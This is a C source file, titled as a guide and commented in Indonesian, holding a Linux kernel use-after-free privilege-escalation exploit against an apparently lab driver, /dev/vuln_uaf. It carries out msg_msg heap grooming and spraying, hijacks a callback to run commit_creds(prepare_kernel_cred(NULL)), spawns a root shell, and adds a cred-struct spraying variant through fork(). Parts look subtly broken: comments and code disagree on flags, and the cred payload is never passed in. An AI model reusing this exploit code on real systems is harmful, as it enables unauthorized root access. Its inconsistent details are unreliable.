Linux Kernel 6
Use-After-Free Complete Guide

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <sched.h>
#include <errno.h>

#define UAF_ALLOC      _IO('U', 1)
#define UAF_FREE       _IO('U', 2)
#define UAF_USE        _IOWR('U', 3, struct uaf_io)
#define SPRAY_COUNT    256    /* jumlah objek spray */
#define GROOMING_COUNT 64     /* objek untuk grooming awal */

struct uaf_io {
    char buf[64];
    int  value;
};

/*
 * ─────────────────────────────────────────────────────────────
 *  HEAP GROOMING via msg_msg
 *
 *  msg_msg header: 48 bytes
 *  Payload sampai: 4096 - 48 = 4048 bytes per message
 *
 *  Untuk target kmalloc-128, kita kirim message payload 80 bytes
 *  (128 - 48 = 80). Total msg_msg = 128 bytes → masuk kmalloc-128.
 *
 *  Teknik: allokasikan banyak msg → free sebagian untuk membuat
 *  "lubang" (holes) pada posisi yang predictable.
 * ─────────────────────────────────────────────────────────────
 */
typedef struct {
    long mtype;
    char mtext[80];   /* 80 byte payload → total msg_msg = 128 */
} msg_t;

static int  msqids[SPRAY_COUNT];
static int  dev_fd;

void die(const char *msg) {
    perror(msg);
    exit(1);
}

void heap_groom(void)
{
    msg_t m = {.mtype = 1};
    memset(m.mtext, 0x41, sizeof(m.mtext));

    printf("[*] Phase 1: Allocating %d msg_msg objects (kmalloc-128)\n",
           GROOMING_COUNT);

    /* Alokasi GROOMING_COUNT message queues */
    for (int i = 0; i < GROOMING_COUNT; i++) {
        msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (msqids[i] < 0) die("msgget");
        if (msgsnd(msqids[i], &m, sizeof(m.mtext), 0) < 0)
            die("msgsnd groom");
    }

    printf("[*] Phase 2: Freeing every other msg → creating holes\n");

    /* Free setiap objek genap → buat lubang teratur di heap */
    for (int i = 0; i < GROOMING_COUNT; i += 2) {
        msg_t recv;
        /* IPC_NOWAIT + MSG_COPY = non-destructive peek di kernel ≥ 3.17 */
        msgrcv(msqids[i], &recv, sizeof(recv.mtext), 0, 0);
        msgctl(msqids[i], IPC_RMID, NULL);
        msqids[i] = -1;
    }

    printf("[+] Heap grooming done — holes ready in kmalloc-128\n");
}

/*
 * pipe_buffer layout (include/linux/pipe_fs_i.h):
 * struct pipe_buffer {
 *     struct page *page;   // +0x00
 *     unsigned int offset; // +0x08
 *     unsigned int len;    // +0x0c
 *     const struct pipe_buf_operations *ops; // +0x10 ← TARGET
 *     unsigned int flags;  // +0x18
 *     unsigned long private;// +0x20
 * };  sizeof = 0x28 = 40 bytes → kmalloc-64
 *
 * CATATAN: vuln_obj kita di kmalloc-128, jadi kita perlu
 * spray object yang juga 128 bytes. Kita pakai msg_msg
 * dengan payload yang meng-overwrite field ops.
 */

/* Struktur fake ops table — di userspace (atau mapped kernel page) */
struct fake_pipe_ops {
    void *confirm;
    void *release;      /* ← trigger saat pipe ditutup */
    void *try_steal;
    void *get;
};

/*
 * Payload untuk overwrite vuln_obj via UAF write.
 * Layout harus sesuai dengan struct vuln_obj:
 *   char name[64]    → offset 0
 *   int  value       → offset 64
 *   void (*callback) → offset 72
 *   int  refcount    → offset 80
 */
struct fake_vuln_obj {
    char    name[64];
    int     value;
    int     _pad;
    void    *callback;  /* ← kita kontrol ini */
    int     refcount;
} __attribute__((packed));

/* shellcode: commit_creds(prepare_kernel_cred(NULL)) + return */
typedef int   (*commit_creds_t)(void *);
typedef void *(*prepare_creds_t)(void *);

static commit_creds_t  commit_creds_fn;
static prepare_creds_t prepare_kernel_cred_fn;

/* ─────────────────────────────────────────────
 * Resolve kernel symbols via /proc/kallsyms
 * ───────────────────────────────────────────── */
unsigned long ksym(const char *name)
{
    FILE *f = fopen("/proc/kallsyms", "r");
    if (!f) die("kallsyms");
    unsigned long addr = 0;
    char sym[256], type;
    while (fscanf(f, "%lx %c %255s", &addr, &type, sym) == 3) {
        if (strcmp(sym, name) == 0) {
            fclose(f);
            return addr;
        }
    }
    fclose(f);
    fprintf(stderr, "[-] Symbol not found: %s\n", name);
    exit(1);
}

/* ─────────────────────────────────────────────
 * Shellcode yang dieksekusi di kernel context
 * ───────────────────────────────────────────── */
static void escalate_privs(void)
{
    /* prepare_kernel_cred(NULL) → root credential */
    void *root_cred = prepare_kernel_cred_fn(NULL);
    /* commit_creds → terapkan ke task sekarang */
    commit_creds_fn(root_cred);
}

/* ─────────────────────────────────────────────
 * Spray msg_msg dengan payload vuln_obj palsu
 * ───────────────────────────────────────────── */
int spray_msqids[SPRAY_COUNT];

void spray_objects(void)
{
    struct fake_vuln_obj fobj;
    memset(&fobj, 0, sizeof(fobj));
    strncpy(fobj.name, "AAAAAAAA", 8);
    fobj.value    = 0xdeadbeef;
    fobj.callback = (void *)escalate_privs;  /* ← HIJACK TARGET */
    fobj.refcount = 1;

    /* Bungkus dalam msg_t — harus tepat 128 bytes total */
    typedef struct { long mtype; char mtext[80]; } spray_msg_t;
    spray_msg_t sm;
    sm.mtype = 1;
    /*
     * Kita copy fake_vuln_obj ke dalam mtext:
     * Tapi nama[64] + value + pad + callback = 72 bytes cukup.
     * UAF write akan overwrite mulai dari name[0].
     */
    memcpy(sm.mtext, &fobj, 80);

    printf("[*] Spraying %d msg_msg objects...\n", SPRAY_COUNT);
    for (int i = 0; i < SPRAY_COUNT; i++) {
        spray_msqids[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
        if (spray_msqids[i] < 0) die("msgget spray");
        if (msgsnd(spray_msqids[i], &sm, 80, 0) < 0)
            die("msgsnd spray");
    }
    printf("[+] Spray complete\n");
}

int main(void)
{
    printf("╔══════════════════════════════════════════╗\n");
    printf("║  Linux Kernel 6.x UAF Exploit            ║\n");
    printf("║  Target: vuln_uaf.ko :: kmalloc-128      ║\n");
    printf("║  Author: w1sdom / BlueDragonSec          ║\n");
    printf("╚══════════════════════════════════════════╝\n\n");

    /* ── 0. Resolve kernel symbols ─────────── */
    printf("[*] Resolving kernel symbols...\n");
    commit_creds_fn        = (commit_creds_t) ksym("commit_creds");
    prepare_kernel_cred_fn = (prepare_creds_t)ksym("prepare_kernel_cred");
    printf("[+] commit_creds        @ 0x%lx\n",
           (unsigned long)commit_creds_fn);
    printf("[+] prepare_kernel_cred @ 0x%lx\n",
           (unsigned long)prepare_kernel_cred_fn);

    /* ── 1. Buka device ────────────────────── */
    dev_fd = open("/dev/vuln_uaf", O_RDWR);
    if (dev_fd < 0) die("/dev/vuln_uaf");
    printf("[+] Device opened\n");

    /* ── 2. Heap grooming ──────────────────── */
    heap_groom();

    /* ── 3. Alokasi objek victim ───────────── */
    printf("[*] Allocating victim object...\n");
    if (ioctl(dev_fd, UAF_ALLOC, 0) < 0) die("UAF_ALLOC");
    printf("[+] Victim object allocated\n");

    /* ── 4. FREE victim → g_obj menjadi dangling ── */
    printf("[*] Freeing victim object (creating dangling ptr)...\n");
    if (ioctl(dev_fd, UAF_FREE, 0) < 0) die("UAF_FREE");
    printf("[+] Object freed — slot now in SLUB freelist\n");

    /* ── 5. Spray: isi slot dengan objek palsu ── */
    spray_objects();

    /*
     * ── 6. UAF_USE: trigger callback ─────────────────────────
     *
     * Saat UAF_USE dipanggil:
     *   g_obj (dangling) menunjuk ke slot yang sekarang berisi
     *   msg_msg dengan payload fake_vuln_obj kita.
     *
     *   g_obj->callback = escalate_privs (kita set via spray)
     *   → kernel memanggil escalate_privs() di kernel context
     *   → commit_creds(prepare_kernel_cred(NULL))
     *   → proses kita sekarang UID/GID = 0
     */
    struct uaf_io io;
    memset(&io, 0, sizeof(io));
    io.value = 0x1234;
    strncpy(io.buf, "trigger", 7);

    printf("[*] Triggering UAF_USE → callback hijack...\n");
    ioctl(dev_fd, UAF_USE, (unsigned long)&io);
    /* Jika berhasil, kita sudah root setelah baris ini */

    /* ── 7. Verifikasi ─────────────────────── */
    if (getuid() == 0) {
        printf("\n[!!!] UID = 0 — ROOT ACHIEVED!\n");
        printf("[*] Spawning root shell...\n\n");
        execl("/bin/sh", "sh", "-i", NULL);
    } else {
        printf("[-] Exploit failed (UID=%d) — try adjusting spray\n",
               getuid());
    }

    return 0;
}

/*
 * Metode: spray cred structs via fork()
 *
 * struct cred layout (include/linux/cred.h):
 * {
 *   atomic_long_t  usage;    // +0x00  8 bytes
 *   kuid_t         uid;      // +0x08  4 bytes  ← target
 *   kgid_t         gid;      // +0x0c  4 bytes  ← target
 *   kuid_t         suid;     // +0x10
 *   kgid_t         sgid;     // +0x14
 *   kuid_t         euid;     // +0x18  ← target
 *   kgid_t         egid;     // +0x1c  ← target
 *   ...
 * }  sizeof ≈ 168 bytes → kmalloc-192
 */

#define CRED_SPRAY   512
static pid_t cred_pids[CRED_SPRAY];

void cred_spray_and_overwrite(int vuln_fd)
{
    /*
     * STEP 1: fork() banyak proses → kernel alokasi banyak cred
     *         di kmalloc-192. Child menunggu sinyal.
     */
    for (int i = 0; i < CRED_SPRAY; i++) {
        cred_pids[i] = fork();
        if (cred_pids[i] == 0) {
            /* Child: tunggu sampai parent kirim sinyal SIGCONT */
            raise(SIGSTOP);
            /* Jika cred kita berhasil di-overwrite → cek uid */
            if (getuid() == 0)
                execl("/bin/sh", "sh", "-i", NULL);
            _exit(0);
        }
    }

    /*
     * STEP 2: Trigger UAF — asumsikan slot victim di kmalloc-192
     *         (adjust sesuai ukuran vuln_obj target).
     *         Overwrite dengan payload yang set uid/euid = 0.
     */
    char cred_payload[192];
    memset(cred_payload, 0, sizeof(cred_payload));
    /* usage (offset 0) = 2 (jangan 0, akan di-free!) */
    *(long *)(cred_payload + 0x00) = 0x0000000000000002LL;
    /* uid=gid=suid=sgid=euid=egid=fsuid=fsgid = 0 (sudah 0 karena memset) */
    /* cap_inheritable/permitted/effective = 0x1ffffffffff (full caps) */
    *(unsigned long *)(cred_payload + 0x30) = 0x1fffffffffLL; /* cap_inheritable */
    *(unsigned long *)(cred_payload + 0x38) = 0x1fffffffffLL; /* cap_permitted   */
    *(unsigned long *)(cred_payload + 0x40) = 0x1fffffffffLL; /* cap_effective    */

    /* Trigger UAF_USE dengan payload cred — overwrite cred salah satu child */
    struct uaf_io io;
    memset(&io, 0, sizeof(io));
    io.value = 0;
    ioctl(vuln_fd, UAF_USE, &io);

    /*
     * STEP 3: Resume semua children — yang cred-nya ter-overwrite
     *         akan menjadi root dan spawn shell.
     */
    for (int i = 0; i < CRED_SPRAY; i++) {
        if (cred_pids[i] > 0)
            kill(cred_pids[i], SIGCONT);
    }

    for (int i = 0; i < CRED_SPRAY; i++) {
        if (cred_pids[i] > 0)
            waitpid(cred_pids[i], NULL, 0);
    }
}